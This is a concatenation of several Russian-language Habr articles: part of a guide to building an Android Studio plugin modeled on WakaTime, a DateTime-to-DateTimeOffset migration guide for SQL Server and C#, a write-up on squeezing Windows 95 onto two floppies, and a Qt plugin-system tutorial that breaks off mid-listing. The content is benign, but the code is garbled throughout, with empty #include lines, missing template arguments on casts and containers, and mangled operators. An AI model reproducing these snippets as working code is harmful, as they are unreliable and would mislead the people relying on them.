**Хмм, исходный код WakaTime открыт: можно попытаться понять, как он работает...**Это уже интереснее, правда? Вот и я не могла пройти мимо и выкачала себе [исходники плагина для IDE от JetBrains](https://github.com/wakatime/jetbrains-wakatime/tree/master/src/com/wakatime/intellij/plugin).
Попробуем разобраться. Основная логика находится в WakaTime.java. Там мы можем увидеть, как плагин навешивает листенеры на редактирование и скролл документов, заполняет очередь из Heartbeat (), и через WakaTime CLI отправляет её на сервер. Логика расчёта времени остаётся за кадром, но, кажется, мы и сами в состоянии написать подобное.
Пишем свой велосипед по аналогии
--------------------------------
Возможно, пушка для стрельбы картошкой и то была бы полезнее, но чего не сделаешь в исследовательских целях) Помедитировав на исходники WakaTime, я решила сделать свой плагин, способный отслеживать активность в IDE, логировать время на его написание, а ещё отсылать всё это в Jira (в нашем флоу ветки называются по именам задач в Jira, поэтому выглядит вполне реалистично).
А чтобы не засыпать сервер запросами во время работы над кодом, логи мы будем отправлять при закрытии Android Studio, а до этого момента хранить локально.
#### 1. Какие сущности мы можем встретить в исходном коде плагина (и использовать в своём)?
**Не используем Сomponents (это [легаси](https://www.jetbrains.org/intellij/sdk/docs/basics/plugin_structure/plugin_components.html))**, ранее представлявшие собой основные структурные единицы плагина. Могут быть уровня приложения, уровня проекта или уровня модуля. В исходниках WakaTime есть ApplicationComponent, но им можно, исходному коду уже лет пять и он должен сохранять обратную совместимость. Компоненты имеют привязку к жизненному циклу уровня, с которым они связаны. Так, например, ApplicationComponent загружается при старте IDE. При использовании будут блокировать перезапуск плагина без перезапуска IDE и вообще ведут себя неприятно. Поэтому вместо них лучше использовать services.
**Используем Services** — нынешние основные структурные единицы. Делятся на те же уровни приложения, проекта и модуля, помогут нам инкапсулировать логику на соответствующих уровнях и хранить состояние плагина.
В отличие от компонентов, Services нужно загружать самостоятельно, используя метод ServiceManager.getService(). Платформа гарантирует, что каждый сервис является синглтоном.
**Добавляем Actions** — могут быть шорткатом, дополнительным пунктом меню — словом, отвечают за всё, что как-то затрагивает пользовательские действия в IDE.
**Используем Extensions** — любое расширение функциональности, которое будет сложнее Actions: например, подвязаться к жизненному циклу IDE и выполнить что-то во время показа сплэшскрина или перед выходом.
Всё это должно быть объявлено в файлике /META\_INF/plugin.xml.
#### 2. Plugin.xml и build.gradle
*Окно создания проекта. Мы будем писать наш плагин на Kotlin, а для сборки использовать Gradle*
Это — первое, что мы видим после создания заготовки плагина в IDEA (File -> New -> Project… -> Gradle -> IntelliJ Platform Plugin). Он содержит информацию о зависимостях плагина и его краткое описание. В нём должны быть объявлены компоненты плагина — ранее упомянутые components, services, actions и extensions. Никакой определённой точки входа не будет — ею станет пользовательское действие или событие жизненного цикла IDE, в зависимости от наших потребностей.
Нам понадобятся вот эти зависимости — ведь мы хотим написать плагин под студию и чтобы он умел работать с Git.
```
Git4Idea
com.intellij.modules.androidstudio
```
Git4Idea является плагином для виртуальной файловой системы (VCS) и предоставляет топики, благодаря которым мы позднее сможем прослушивать события git — такие, как чекаут, например.
Поскольку мы хотим ещё и того, чтобы плагин умел работать с Jira, подключим через Gradle любезно предоставленную библиотеку с rest-клиентом. Для этого добавим туда maven-репозиторий Atlassian:
```
repositories {
mavenCentral()
maven {
url "https://packages.atlassian.com/maven/repository/public"
}
}
```
И собственно библиотеки:
```
implementation "joda-time:joda-time:2.10.4"
implementation("com.atlassian.jira:jira-rest-java-client-core:4.0.0") {
exclude group: 'org.slf4j'
dependencies {
implementation "com.atlassian.fugue:fugue:2.6.1"
}
}
```
Здесь мы определяем интересующую нас версию IDE и путь к ней (о, если бы настоящая Android Studio запускалась и работала так же шустро, как её облегчённая версия для отладки плагинов):
```
intellij {
version '2019.1'
plugins 'git4idea'
alternativeIdePath 'E:\\Android Studio'
}
```
А здесь, возможно, когда-нибудь напишем о новом, улучшенном функционале. Но не сейчас.
```
patchPluginXml {
changeNotes """
Add change notes here.
*most HTML tags may be used*"""
}
``` | https://habr.com/ru/post/490784/ | null | ru | null |
# Переход от DateTime к DateTimeOffset
Представим, что вы хотите преобразовать свою систему из одного состояния в другое. Начальное состояние — это когда DateTime используется везде, в C# коде и в БД. Конечное состояние — когда везде используется DateTimeOffset. Вы хотите сделать переход плавно и внести как можно меньше изменений. Это описание может быть началом очень интересной задачи с тупиком в конце.
Тип DateTime был типом .NET по умолчанию для работы с датой и временем некоторое время назад, и обычно построенная вокруг него логика была сделана так, как будто она никогда не поменяется. Если попытаться менять тип в один этап, это приведёт к каскадным изменениям практически во всех частях системы. В крайних случаях может потребоваться изменить около 200 хранимых процедур только для одного поля. Это первая проблема. И вторая проблема заключается в том, что последствия таких изменений трудно найти во время тестирования. Регрессионное тестирование не гарантирует, что вы ничего не упустите, или система будет функционировать в любых случаях. Необходимые усилия по обеспечению качества будут увеличиваться по мере работы, и у вас не будет четкого понимания, когда оно закончится.
Во время моего исследования я нашел возможный подход к таким преобразованиям. Этот подход имеет три этапа и основан на предположении, что в настоящее время система не поддерживает временные зоны, а все подсистемы расположены в одном часовом поясе.
1. Добавить парное вычисляемое поле для чтения значений DateTimeOffset из БД.
2. Сделать преобразование операций чтения.
3. Сделать преобразование операций записи.
Такой подход поможет локализовать изменения и ограничить усилия QA. Он также обеспечит хорошую предсказуемость для оценки будущей работы. Ниже я описал этапы более подробно.
Неудачный Подход
----------------
Представьте, что существует около 150 полей, связанных со значениями даты/времени. Вы можете использовать следующий сценарий SQL, чтобы узнать полный список в вашей БД.
```
select
tbl.name as 'table',
col.name as 'column',
tp.name as 'type',
def.name as 'default'
from sys.columns col
inner join sys.tables tbl on tbl.[object_id] = col.[object_id]
inner join sys.types tp on tp.system_type_id = col.system_type_id
and tp.name in ('datetime', 'date', 'time', 'datetime2', 'datetimeoffset', 'smalldatetime')
left join sys.default_constraints def on def.parent_object_id = col.[object_id]
and def.parent_column_id = col.column_id
order by tbl.name, col.name
```
В то время как в БД преобразование из DateTime в DateTimeOffset и обратно поддерживается на очень хорошем уровне, в C# коде это сложно из-за типизации. Вы не можете прочитать значение DateTime, если БД возвращает значение DateTimeOffset. При изменении возвращаемого типа для одного поля необходимо изменить все места, где он используется во всей системе. В некоторых случаях это просто невозможно, потому что вы можете не знать о некоторых местах, если система очень большая. Именно по этой причине подход с простым изменением типа поля не будет работать. Вы можете попробовать найти все использования определенного поля таблицы в БД, используя следующий скрипт.
```
SELECT
ROUTINE_NAME,
ROUTINE_DEFINITION
FROM INFORMATION_SCHEMA.ROUTINES
WHERE ROUTINE_DEFINITION LIKE '%table%'
OR ROUTINE_DEFINITION LIKE '%field%'
AND ROUTINE_TYPE='PROCEDURE'
```
Для того, чтобы сделать трансформацию, важно заранее предсказать, какие части системы будут затронуты. У вас должен быть подход к локализации изменений в конкретном модуле системы без нарушения остальных частей.
Подход «Получше»
----------------
Это подход просто «получше», а не лучший. Я все еще ожидаю, что некоторые проблемы могут появиться в будущем, но он выглядит более безопасным, чем предыдущий. Главное отличие состоит в том, что вы не выполняете преобразование за один шаг. Существует последовательность зависимых изменений, которая даст вам контроль над ситуацией.
### Создание Вычисляемого Поля
Когда вы добавляете вычисляемое дублирующее поле в БД, вы вводите новое поле с требуемым типом. Это позволит вам отделить чтение, запись и отделить обновленный код от старого. Эта операция легко может быть выполнена с помощью скрипта, и никаких усилий по обеспечению качества не требуется.
```
declare @table sysname, @column sysname, @type sysname, @default sysname
declare cols cursor for
select
tbl.name as 'table',
col.name as 'column',
tp.name as 'type',
def.name as 'default'
from sys.columns col
inner join sys.tables tbl on tbl.[object_id] = col.[object_id]
inner join sys.types tp on tp.system_type_id = col.system_type_id
and tp.name in ('datetime', 'date', 'time', 'datetime2', 'smalldatetime')
left join sys.default_constraints def on def.parent_object_id = col.[object_id]
and def.parent_column_id = col.column_id
order by tbl.name, col.name
open cols
fetch from cols into @table, @column, @type, @default
while @@FETCH_STATUS = 0
begin
declare @cmd nvarchar(max)
set @cmd = 'alter table ['+@table+'] add ['+@column+'_dto] as todatetimeoffset(['+@column+'], ''+00:00'')'
exec (@cmd)
fetch from cols into @table, @column, @type, @default
end
close cols
deallocate cols
```
Основываясь на приведенном выше результате, вы можете нарезать свою систему на разделы, где вы хотите ввести DateTimeOffset. Теперь вы можете использовать новый тип только в одной хранимой процедуре без необходимости изменять все связанные с ним места.
### Трансформация Чтения
Операции чтения оказались наиболее сложными для преобразования из-за подхода, который используется для интеграции между клиентским кодом и БД. Значения даты/времени передаются посредством сериализации строк. DateTimeOffset имеет другой формат и не может быть прочитан по умолчанию для переменных DateTime на стороне клиента. В тоже время, операции записи просто работают. Если вы передадите значение DateTime аргументу или полю DateTimeOffset, это значение будет принято с предположением, что оно является скорректированным к UTC. Смещение времени после преобразования будет «+00:00».
Теперь можно взять какой-то раздел системы и определить точное количество хранимок, возвращающих DateTime в код клиента. Тут надо будет изменить операции чтения в коде C# для чтения значений DateTimeOffset. Также потребуется изменить сами хранимки в БД, чтобы они возвращали значения из новых вычисляемых полей. Ожидаемый результат этого шага выглядит следующим образом:
* C# код считывает DateTimeOffset и использует этот тип везде, где возможно, чтобы возвращать значения из системы.
* Хранимки БД используют DateTimeOffset в аргументах, и C# код передает им значение DateTimeOffset.
* Новый тип используется внутри хранимок БД.
* Хранимки БД возвращают значения из новых добавленных полей.
В итоге вы получите систему, которая считывает данные из новых полей, в то время, как сохраняет значения в старые. Теперь, как только смещение времени будет передаваться в операциях записи и сохраняться в системе, вся система начнет корректно работать с часовыми поясами.
### Трансформация Записи
Теперь надо фиксировать смещение времени в системе, отправлять его в БД и сохранять в полях. Надо взять старое поле и изменить его на вычисляемое из нового, а новое должно теперь содержать значения. Вы уже читаете их них, теперь еще и записываете значения, а старые — наоборот, только чтение. Этот подход поможет вам изолировать изменения только для определенного раздела. Ожидаемый результат выглядит следующим образом:
* Код C# создает значения DateTimeOffset и передает их в БД
* Новые поля теперь являются реальными полями со значениями
* Cтарыt поля теперь вычисляемые и используются для чтения
* Хранимки БД сохраняют значения в новые поля
В итоге вы получите систему, которая записывает и читает новый тип DateTimeOffset. Этот тип имеет встроенную поддержку смещения по времени, поэтому вам не нужно будет делать какое-либо ручное преобразование к UTC или между временными зонами, в общем случае.
Дальнейшие Шаги
---------------
Единственную рекомендацию, которую я могу дать относительно деления системы на секции для преобразования следующая: необходимо предусмотреть достаточную изолированность модулей в соответствии с используемыми хранимками. Таким образом, вы добьетесь предсказуемости усилий и сможете их оценить заранее. Несомненно, какие-то проблемы все еще могут возникнуть, но они не будут расти, как снежный ком по мере работы. Позже вы сможете избавиться от старых полей. Информацию о тайм зоне можно брать из операционной системы или настроек пользователя. Ниже я разместил информацию о совместимости двух типов в БД.
* Изменение типа столбца из DateTime в DateTimeOffset работает с неявным преобразованием. Смещение времени будет +00:00. Если нужно указать другой часовой пояс, необходимо использовать временный столбец.
* Форматирование значений в строку поддержано.
* Сравнение всеми операторами поддержано.
* SYSDATETIMEOFFSET() без риска может заменить GETDATE()
* Любое присвоение между DateTime и DateTimeOffset работает с неявным преобразованием.
| Операция | T-SQL | Комментарий |
| --- | --- | --- |
| Конвертация DateTime в DateTimeOffset | TODATETIMEOFFSET(datetime\_field, '+00:00') | Получите значение с добавленным смещением +00:00 |
| Конвертация DateTimeOffset в DateTime | CONVERT(DATETIME, datetimeoffset\_field)
— or — SET @datetime = @datetimeoffset | Информация о смещении будет потеряна. При преобразовании смещение будет просто проигнорировано. Например, для '2017-04-05 10:02:00 +01:00' получите '2017-04-05 10:02:00'. |
| Текущее дата/время | SWITCHOFFSET(SYSDATETIMEOFFSET(), '+00:00') | Это две команды. Результатом будет точка в UTC зоне |
| Встроенные операции | DATEPART, DATEDIFF, BETWEEN, <, >, =, etc. | DATEDIFF, BETWEEN и операции сравнения учитывают временное смещение, при этом DateTime значение представляется, как значение со смещением UTC |
| Форматирование | CONVERT(NVARCHAR, datetimeoffset\_field, 103) | Получите тот же результат что и для DateTime. |
Очень интересно услышать истории о подобной трансформации от тех, кто уже проделывал такой в своих системах. А так же, кто и как поддерживает таймзоны в своих системах. | https://habr.com/ru/post/323608/ | null | ru | null |
# Windows 95 на двух флоппиках
В этом году мы [отпраздновали](https://habr.com/ru/company/selectel/blog/516470/) четверть века с Windows 95. Её минимальная установка занимала 30 МБ; народные умельцы [ужимали](http://web.archive.org/web/20031204034010/http://www.msbetas.net:80/v6/default.asp?postid=52) её до 5 МБ после удаления всех «лишних» файлов и сжатия UPX-ом оставшихся. А как насчёт двух флоппиков по 1.44 МБ, вместе с загрузчиком?
Общий подход я уже [описывал](https://habr.com/ru/company/selectel/blog/516470/#comment_22000284) в комментариях: создаётся RAMDRIVE, и на него разворачивается двухтомный SFX-архив. Но есть много тонкостей:
1. Как видно на видео выше, распакованная папка Windows у меня занимает 6.2 МБ. Я взял за основу [список файлов Micro95](http://web.archive.org/web/20031205075356/http://msbetas.net/Micro95/95filelist.txt), и дополнительно удалил файлы, оказавшиеся необязательными — например, шрифты и драйвер `dosnet.vxd`. Кроме того, `vmm32.vxd` я [распаковал](https://z0mbie.dreamhosters.com/wininit.html), и удалил бывшие внутри него необязательные драйвера.
Можно было уменьшить Windows ещё сильнее, пересобрав `vmm32.vxd` после удаления необязательных драйверов (освобождается почти мегабайт, но сжимается такой `vmm32.vxd` хуже, чем распакованные VXD), заменив оболочку на классический «Диспетчер программ» (освобождается целый мегабайт за счёт `explorer.exe` и `shell32.dll`), и/или отказавшись от поддержки командной строки (освобождается 155 КБ за счёт `pifmgr.dll`, `vgafull.3gr`, `winoa386.mod`); но я решил, что без этих компонентов Windows 95 становится полностью бесполезной.
Со всем этим, на втором флоппике у меня оставались ещё 247 свободных КБ, так что я смог добавить к минимальному набору файлов ещё «Блокнот» и три аплета «Панели управления»; даже и с ними один килобайт на флоппике остался незанятым :-)
*Fun fact*: среди оставшихся файлов поровну (по 19) 16-битных NE и 32-битных PE, подтверждая [байку](https://devblogs.microsoft.com/oldnewthing/20140826-00/?p=143) о том, что Windows 95 была 32-битной ровно наполовину.
2. Проект Micro95 [публиковал](http://web.archive.org/web/20050123030218/http://www.etek.chalmers.se/~e8gus/nano98/Micro95.zip) минимальное содержимое `system.ini`, `win.ini`, и реестра. К ним я тоже подошёл творчески: в `system.ini` на самом деле достаточно двух строк
```
[386Enh]
mouse=*vmouse
```
Существование `win.ini` необязательно; а с предложенным ими вариантом реестра перестают работать ярлыки, Корзина и Панель управления, так что реестр я урезал менее агрессивно.
3. Для сжатия Windows лучше всего подошёл WinAce: уровень сжатия у него почти такой же, как у WinRAR, но SFX-модуль для DOS меньше на 32 КБ, и его можно уменьшить ещё на килобайт, пережав UPX-ом c ключом `--ultra-brute`. Ещё 31 КБ удалось выиграть, сжав UPX-ом драйвера `himem.sys`, `ramdrive.sys`, `ifshlp.sys`
4. Для того, чтобы работали ярлыки (в т.ч. «Перезагрузка в режиме MS-DOS»), при распаковке Windows должны воссоздаваться длинные имена файлов (LFN). SFX-модули делают это при помощи [LFN API](http://www.oldlinux.org/Linux.old/docs/interrupts/int-html/rb-3194.htm), который доступен в MS-DOS 7+ только после загрузки графической среды Windows. Я нашёл опенсорсный драйвер [DOSLFN](http://adoxa.altervista.org/doslfn/), заброшенный в 2012; к сожалению, под версией DOS, родной для Windows 95, он не работал из-за бага: наличие в DOS поддержки FAT32 определялось некорректно, так что в Windows 95 он думал, что поддержка есть, пытался ей пользоваться, и терпел неудачу. (В DOS 6.x и более старых, а также в Windows 95 OSR2 и более новых, драйвер работал корректно.) Для того, чтобы исправить этот баг, достаточно было закомментировать в исходнике две строчки:
```
;== 6. Determine the presence of the FAT32 API ==
mov ax,7302h ;extended get DPB
mov dl,0 ;current drive
mov cx,3fh ;length of buffer
mov di,ofs truename_buf;buffer
stc ;for pre-DOS7
int 21h
jnc @@ext
; On Win95 4.00.950, it always fails with AX=1
; cmp ax,7300h ;did it fail because there's no such call?
; jne @@ext ;no, it didn't like the drive
```
Раз мне всё равно пришлось перекомпилировать DOSLFN, я заодно расставил по всему коду условную компиляцию, чтобы получить возможность уменьшить файл в полтора раза, отключив ненужные мне возможности — переключение языков сообщений, поддержку Unicode, и поддержку CD-ROM. Пропатченный исходник я положил на [tyomitch.github.io/doslfn.asm](https://tyomitch.github.io/doslfn.asm); все мои изменения можно увидеть на [github.com/tyomitch/tyomitch.github.io/commit/ad8a2](https://github.com/tyomitch/tyomitch.github.io/commit/ad8a2)
Поскольку Windows 95 в 2018 была [передана в общественное достояние](https://archive.org/details/MicrosoftWindows954.00.9501995EnglishOEM), то я не нарушаю ничьи авторские права, публикуя образы двух моих флоппиков:
* [tyomitch.github.io/disk1.flp](https://tyomitch.github.io/disk1.flp)
* [tyomitch.github.io/disk2.flp](https://tyomitch.github.io/disk2.flp) | https://habr.com/ru/post/526382/ | null | ru | null |
# Создание системы расширения на библиотеке Qt
Плагины(Расширения)
-------------------
Расширения это совместно используемая динамическая библиотека предназначенная для загрузки в процессе исполнения основного приложения, которая обязательно должна реализовывать хотя бы один специальный интерфейс.
Расширения делятся на два типа:
* Для Qt
* Для собственных приложений
Разберём как создать свою систему расширений и сами расширения для него.
Связь с расширением осуществляется с помощью интерфейса (сигналы, слоты и методы класса). Расширение загружается приложением при помощи класса **QPluginLoader**. Для загрузки расширения используется метод **instance()**, который создаёт объект расширения и возвращает указатель на него. Для выгрузки расширения используется метод **unload()**.
*Часть 1
-------*
В первом примере создадим расширение которое будет использовать функцию(алгоритм, формулу) из расширения.
Визуальная схема проекта будет выглядеть следующим образом.
### Этап 1:
Первым этапом создадим класс интерфейсов наследуемый от QObject, в качестве интерфейса будет метод который принимает переменную типа QString и возвращает эту же строку в верхнем регистре. С помощью макроса Q\_DECLARE\_INTERFACE, задаём идентификотор интерфейсов, компилятор с генерирует метаинформацию для строки-идентификатор. Данный модуль является протоколом общения между плагином и основной программой и будет использоваться в проекте плагина и в основном проекте.
Класс будет выглядеть следующем образом.
```
//---------------------------------------------------
#ifndef INTERFACE_H
#define INTERFACE_H
//-------------------------------------------------------
#include
//-------------------------------------------------------
class interface : public QObject
{
public:
/// \brief виртуальный деструктор
virtual ~interface() = default;
/// \brief Интерфейс расширения
virtual QString getUpString(QString str) = 0;
};
//----------------------------------------------------------------
Q\_DECLARE\_INTERFACE(interface, "com.mysoft.Application.interface")
//----------------------------------------------------------------
#endif // INTERFACE\_H
//----------------------------------------------------------------
```
### Этап 2:
Создадим базовое приложение которое будет загружать расширение. По нажатию кнопку будет происходить поиск расширения и загрузка его в систему. Далее через интерфейс будем задействовать нашу функцию.
Базовое приложение:
**mainproject.h**
```
//---------------------------------------------------
#ifndef MAINPROJECT_H
#define MAINPROJECT_H
//-------------------------------------------------------
#include
#include
#include
#include "interface.h"
//-------------------------------------------------------
namespace Ui {
class mainProject;
}
//-------------------------------------------------------
class mainProject : public QWidget
{
Q\_OBJECT
public:
/// \brief конструктор
explicit mainProject(QWidget \*parent = nullptr);
/// \brief деструктор
~mainProject();
private slots:
/// \brief Поиск плагина
void on\_searchPlugin\_clicked();
/// \brief Использования интерфейса
void on\_getUp\_clicked();
private:
Ui::mainProject \*ui;
interface \*pluginObject; ///< Указатель на объект плагина
};
//-------------------------------------------------------
#endif // MAINPROJECT\_H
//-------------------------------------------------------
```
**mainproject.cpp**
```
//---------------------------------------------------
#include "mainproject.h"
#include "ui_mainproject.h"
//-------------------------------------------------------
mainProject::mainProject(QWidget *parent) :
QWidget(parent),
ui(new Ui::mainProject)
{
ui->setupUi(this);
}
//-------------------------------------------------------
mainProject::~mainProject()
{
delete ui;
}
//-------------------------------------------------------
void mainProject::on_searchPlugin_clicked()
{
QStringList listFiles;
QDir dir(QApplication::applicationDirPath() + "/Plugins/");
// Поиск всех файлов в папке "Plugins"
if(dir.exists())
listFiles = dir.entryList(QStringList("*"), QDir::Files);
// Проход по всем файлам
for(QString str: listFiles)
{
QPluginLoader loader(dir.absolutePath() + "/" +str);
QObject *pobj = 0;
// Загрузка плагина
pobj = qobject_cast(loader.instance());
if(!pobj)
continue;
pluginObject = 0;
// Получения интерфейсов
pluginObject = qobject\_cast(pobj);
// Проверка тот ли загружен плагин
if(pluginObject)
{
ui->label->setText("Расширение найдено");
break;
}
}
}
//-------------------------------------------------------
void mainProject::on\_getUp\_clicked()
{
QString tmp;
tmp = ui->lineEdit->text();
// использование интерфейса getUpString()
tmp = pluginObject->getUpString(tmp);
ui->label\_2->setText(tmp);
}
//-------------------------------------------------------
```
### Этап 3:
Создание расширения, первое что нужно сделать это в pro файле изменить типа собираемого проекта, для этого нужно добавить следующую строку TEMPLATE = lib, и задать конфигурацию проекта под расширения CONFIG += plugin.
upperstringplugin.pro
```
#-------------------------------------------------
#
# Project created by QtCreator 2019-04-03T11:35:18
#
#-------------------------------------------------
QT += core
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
TARGET = upperStringPlugin
TEMPLATE = lib
CONFIG += plugin
DESTDIR = ../Plugins
DEFINES += QT_DEPRECATED_WARNINGS
CONFIG += c++11
SOURCES += \
upperstringplugin.cpp
HEADERS += \
upperstringplugin.h \
interface.h
```
Далее создаём класс будущего расширения, класс должен быть унаследован от класса интерфейсов. Макрос **Q\_INTERFACES**, нужен что бы компилятор с генерировал всю необходимую мета информацию для расширения. Макрос **Q\_PLUGIN\_METADATA()**, задаёт точку входа в расширение и доступ для библиотеки Qt. Также нужно создать файл inteface.json с метаинформацией(файл должен находиться в корне проекта), в нашем случае там нет информации поэтому просто запишем пустые кавычки {} в файл.
**upperstringplugin.h**
```
//---------------------------------------------------
#ifndef UPPERSTRINGPLUGIN_H
#define UPPERSTRINGPLUGIN_H
//---------------------------------------------------
#include "interface.h"
//---------------------------------------------------
class upperStringPlugin : public interface
{
Q_OBJECT
Q_INTERFACES(interface)
Q_PLUGIN_METADATA(IID "com.mysoft.Application.interface" FILE "interface.json")
public:
explicit upperStringPlugin();
~upperStringPlugin();
// interface interface
public:
QString getUpString(QString str);
};
//---------------------------------------------------
#endif // UPPERSTRINGPLUGIN_H
//---------------------------------------------------
```
**upperstringplugin.cpp**
```
//---------------------------------------------------
#include "upperstringplugin.h"
//---------------------------------------------------
upperStringPlugin::upperStringPlugin()
{}
//---------------------------------------------------
upperStringPlugin::~upperStringPlugin()
{}
//---------------------------------------------------
QString upperStringPlugin::getUpString(QString str)
{
return str.toUpper();
}
//---------------------------------------------------
```
На выходе компиляции проекта мы получим файл с расширением .so, данный файл перемещаем в папку «Plugins» главного проекта и запускаем его. В данном случае расширение загружается в основную программу и создаётся единственный объект расширения. При попытки заново использовать функцию instance(), функция вернёт указатель на уже созданный объект расширения.
Выполнение программы
*Часть 2
-------*
Усложним нашу задачу, теперь нам нужно что бы расширение представляло собой виджет и что бы была возможность создавать несколько таких виджетов. Основная программа будет принимать сообщения от плагинов и отправлять обратно ответ. Создадим новые проекты, на первом этапе нам понадобиться два класса интерфейсов, один будет отвечать за загрузку расширения и создания виджета, другой за работу самого виджета.
Схема проекта будет выглядеть следующим образом:
### Этап 1:
Первый класс interface будет иметь две функции, получить названия плагина и получить виджет плагина. Название плагина будем хранить для индентификации его в системе. Виджет плагина мы будем добавлять в MDI окна основного приложения.
Второй класс является самим графическим виджетом, он унаследован от QWidget, здесь мы прописали необходимые нам функции, виджет будет получать сообщение и отправлять в основную программу.
**interface.h**
```
//-------------------------------------------------------------------------
#ifndef INTERFACE_H
#define INTERFACE_H
//-------------------------------------------------------------------------
#include
class QString;
//-------------------------------------------------------------------------
class interface : public QObject
{
public:
/// \brief Деструктор
virtual ~interface(){}
/// \brief Получить название плагина
virtual QString getNamePlugin() = 0;
/// \brief Получить новый виджет
virtual QObject \*getPluginWidget() = 0;
};
//-------------------------------------------------------------------------
class interfaceWidget: public QWidget
{
public:
/// \brief Деструктор
virtual ~interfaceWidget() = default;
signals:
/// \brief Сигнал отправляет текст из расширения
virtual void signal\_writeText(QString str) = 0;
public slots:
/// \brief Слот получает текст в плагин
virtual void slot\_getText(QString str) = 0;
};
//-------------------------------------------------------------------------
Q\_DECLARE\_INTERFACE(interface, "com.mysoft.Application.interface")
//-------------------------------------------------------------------------
#endif // INTERFACE\_H
//-------------------------------------------------------------------------
```
### Этап 2:
Основная программа состоит из MDI окна, в котором есть основной виджет для принятия сообщений от плагинов и дополнительные окна, которые динамически появляются по мере вызова плагинов.
При создания виджета плагина мы соединяем сигнал от плагина со слотом и с помощью функции sender() мы получаем указатель на плагин который прислал сообщение. Созданный виджет мы помещаем в MDI окно, а сам объект плагина можно выгрузить из системы.
**mainproject.h**
```
//------------------------------------------------
#ifndef MAINPROJECT_H
#define MAINPROJECT_H
//------------------------------------------------
#include
#include
#include
#include "interface.h"
//------------------------------------------------
namespace Ui {
class mainProject;
}
//------------------------------------------------
typedef struct str\_plugin
{
QString namePlugin; ///< Имя плагина
QString dirPlugin; ///< Расположение плагина
}TSTR\_PLUGIN;
//------------------------------------------------
class mainWidget;
//------------------------------------------------
class mainProject : public QMainWindow
{
Q\_OBJECT
public:
explicit mainProject(QWidget \*parent = nullptr);
~mainProject();
private slots:
void on\_action\_triggered();
/// \brief Слот Запуска плагина
void slot\_showPlugin();
/// \brief Функция получения текста от плагина и отправляет ему ответ
void slot\_getTextFromPlugin(QString str);
private:
Ui::mainProject \*ui;
mainWidget \*widget; ///< Основное окно
QVector vecPlugin; ///< Вектор плагинов
};
//------------------------------------------------
#endif // MAINPROJECT\_H
//------------------------------------------------
```
**mainproject.cpp**
```
//------------------------------------------------
#include "mainproject.h"
#include "ui_mainproject.h"
#include "mainwidget.h"
#include
//------------------------------------------------
mainProject::mainProject(QWidget \*parent) :
QMainWindow(parent),
ui(new Ui::mainProject)
{
ui->setupUi(this);
QMdiSubWindow \*sWPS = new QMdiSubWindow;
widget = new mainWidget();
sWPS->setWidget(widget);
ui->mdiArea->addSubWindow(sWPS);
}
//------------------------------------------------
mainProject::~mainProject()
{
delete ui;
}
//------------------------------------------------
void mainProject::on\_action\_triggered()
{
ui->menu\_2->clear();
QStringList listFiles;
QDir dir(QApplication::applicationDirPath() + "/Plugins/");
if(dir.exists())
{
listFiles = dir.entryList(QStringList("\*"), QDir::Files);
}
for(QString str: listFiles)
{
QPluginLoader loader(dir.absolutePath() + "/" +str);
QObject \*pobj = 0;
pobj = qobject\_cast(loader.instance());
if(!pobj)
continue;
interface \*plW = 0;
plW = qobject\_cast(pobj);
if(!plW)
continue;
QString namePlugin = plW->getNamePlugin();
QAction \*action = new QAction(namePlugin);
ui->menu\_2->addAction(action);
connect(action, SIGNAL(triggered()), this, SLOT(slot\_showPlugin()));
TSTR\_PLUGIN plug;
plug.namePlugin = namePlugin;
plug.dirPlugin = dir.absolutePath() + "/" +str;
vecPlugin.push\_back(plug);
delete plW;
}
}
//------------------------------------------------
void mainProject::slot\_showPlugin()
{
QObject \*pobj = sender();
QAction \*action = qobject\_cast(pobj);
QString namePlugin = action->iconText();
for(int i = 0; i < vecPlugin.size(); i++)
{
if(namePlugin == vecPlugin[i].namePlugin)
{
QMdiSubWindow \*sWPS = new QMdiSubWindow;
ui->mdiArea->addSubWindow(sWPS);
sWPS->setAttribute(Qt::WA\_DeleteOnClose, true);
QPluginLoader loader(vecPlugin[i].dirPlugin);
QObject \*pobj = qobject\_cast(loader.instance());
if(!pobj)
continue;
interface \*plW = qobject\_cast(pobj);
if(!plW)
continue;
QObject \*ob = plW->getPluginWidget();
if(!ob)
continue;
interfaceWidget \*interFaceW = dynamic\_cast(ob);
if(!interFaceW)
continue;
sWPS->setWidget(interFaceW);
sWPS->show();
QSize size = interFaceW->minimumSize();
size.setHeight(size.height() + 20);
size.setWidth(size.width() + 20);
sWPS->resize(size);
loader.unload();
connect(interFaceW, SIGNAL(signal\_writeText(QString)), this, SLOT(slot\_getTextFromPlugin(QString)));
}
}
}
//------------------------------------------------
void mainProject::slot\_getTextFromPlugin(QString str)
{
//Получение указателя на отправителя сообщения
QObject \*pobj = sender();
interfaceWidget \*pPlug = dynamic\_cast(pobj);
widget->slot\_getText("Получено сообщение от плагина");
widget→slot\_getText(str);
widget->slot\_getText("Отправлен ответ");
widget→slot\_getText("------------------------------");
pPlug->slot\_getText("Сообщение доставлено");
}
//------------------------------------------------
```
Основное окно, принимает сообщение и отображает его.
**mainwidget.h**
```
//----------------------------------------------------------
#ifndef MAINWIDGET_H
#define MAINWIDGET_H
//----------------------------------------------------------
#include
//----------------------------------------------------------
namespace Ui {
class mainWidget;
}
//----------------------------------------------------------
class mainWidget : public QWidget
{
Q\_OBJECT
public:
explicit mainWidget(QWidget \*parent = nullptr);
~mainWidget();
public slots:
/// \brief Слот принимает сообщения от плагинов
void slot\_getText(QString str);
private:
Ui::mainWidget \*ui;
};
//----------------------------------------------------------
#endif // MAINWIDGET\_H
//----------------------------------------------------------
```
**mainwidget.cpp**
```
//----------------------------------------------------------
#include "mainwidget.h"
#include "ui_mainwidget.h"
//----------------------------------------------------------
mainWidget::mainWidget(QWidget *parent) :
QWidget(parent),
ui(new Ui::mainWidget)
{
ui->setupUi(this);
}
//----------------------------------------------------------
mainWidget::~mainWidget()
{
delete ui;
}
//----------------------------------------------------------
void mainWidget::slot_getText(QString str)
{
ui->textEdit->append(str);
}
//----------------------------------------------------------
```
### Этап 2:
Создаём плагин, его идея состоит в том что он является фабрикой для создания виджета.
**plugin.h**
```
//-------------------------------------------------
#ifndef PLUGIN_H
#define PLUGIN_H
//-------------------------------------------------
#include "interface.h"
#include "texttranferwidget.h"
//-------------------------------------------------
class plugin : public interface
{
Q_OBJECT
Q_INTERFACES(interface)
Q_PLUGIN_METADATA(IID "com.mysoft.Application.interface" FILE "interface.json")
public:
explicit plugin();
~plugin();
// interface interface
public:
/// \brief Получить название плагина
QString getNamePlugin();
/// \brief Получить новый виджет
QObject *getPluginWidget();
};
//-------------------------------------------------
